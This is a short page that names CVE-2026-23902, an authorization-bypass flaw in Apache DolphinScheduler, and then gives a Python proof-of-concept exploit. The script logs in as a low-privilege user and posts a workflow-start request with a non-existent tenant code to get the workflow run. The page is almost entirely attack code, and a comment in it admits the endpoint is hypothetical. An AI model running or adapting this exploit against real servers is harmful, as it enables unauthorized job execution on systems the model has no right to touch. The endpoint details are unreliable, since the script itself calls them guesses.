CVE-2026-23902 Apache DolphinScheduler权限绕过漏洞

import requests # Target configuration TARGET_URL = "http://localhost:12345/dolphinscheduler" USERNAME = "low_priv_user" PASSWORD = "password" def login(): """Authenticate with the application to get a session token.""" session = requests.Session() login_payload = { "userName": USERNAME, "userPassword": PASSWORD } response = session.post(f"{TARGET_URL}/login", data=login_payload) if response.status_code == 200: print("[+] Login successful") return session else: print("[-] Login failed") return None def exploit(session): """Exploit the authorization bypass to use an undefined tenant.""" # Payload attempting to execute a workflow with a non-existent tenant exploit_data = { "processDefinitionCode": 1, "scheduleTime": "2026-04-24 12:00:00", "tenantCode": "NON_EXISTENT_TENANT_999", "execUser": USERNAME } headers = {"Content-Type": "application/json"} print(f"[*] Attempting to execute workflow with tenant: {exploit_data['tenantCode']}") # Endpoint to execute workflow (hypothetical based on API structure) exec_url = f"{TARGET_URL}/projects/test/executors/start-process-instance" response = session.post(exec_url, json=exploit_data, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Workflow executed with undefined tenant.") print(f"[+] Response: {response.text}") else: print("[-] Exploit failed or endpoint changed.") if __name__ == "__main__": sess = login() if sess: exploit(sess)